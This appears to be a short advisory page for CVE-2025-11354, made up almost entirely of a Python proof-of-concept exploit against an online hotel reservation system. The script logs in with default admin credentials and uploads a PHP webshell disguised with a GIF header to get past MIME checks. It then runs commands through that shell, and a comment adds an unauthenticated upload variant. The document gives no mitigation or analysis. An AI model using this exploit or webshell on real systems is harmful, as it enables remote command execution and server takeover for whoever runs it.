CVE-2025-11354：Online Hotel Reservation System 任意文件上传漏洞

# CVE-2025-11354 - Online Hotel Reservation System Unrestricted File Upload PoC # Vulnerability: Unrestricted file upload in /admin/addslideexec.php via 'image' parameter # Author: Security Researcher # Tested on: code-projects Online Hotel Reservation System 1.0 import requests TARGET_URL = "http://target.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin/login.php" UPLOAD_URL = f"{TARGET_URL}/admin/addslideexec.php" SHELL_PATH = "uploads/shell.php" # Step 1: Login as admin (requires valid low-privilege credentials) session = requests.Session() login_data = { "username": "admin", "password": "admin", # Default/weak credentials "login": "submit" } session.post(ADMIN_LOGIN_URL, data=login_data) # Step 2: Prepare malicious PHP webshell disguised as image # Using GIF89a header to bypass MIME type checks php_shell_content = b"GIF89a;\n<?php system($_GET['cmd']); ?>" files = { "image": ("shell.php", php_shell_content, "image/gif") } # Step 3: Upload the malicious file via vulnerable endpoint response = session.post(UPLOAD_URL, files=files) print(f"Upload response status: {response.status_code}") # Step 4: Verify shell access and execute commands shell_url = f"{TARGET_URL}/{SHELL_PATH}" cmd_response = requests.get(f"{shell_url}?cmd=id") print(f"Command execution result: {cmd_response.text}") # Alternative: Direct upload without authentication if endpoint is exposed # files = {"image": ("shell.php", b"<?php system($_GET['cmd']); ?>", "application/x-php")} # response = requests.post(UPLOAD_URL, files=files)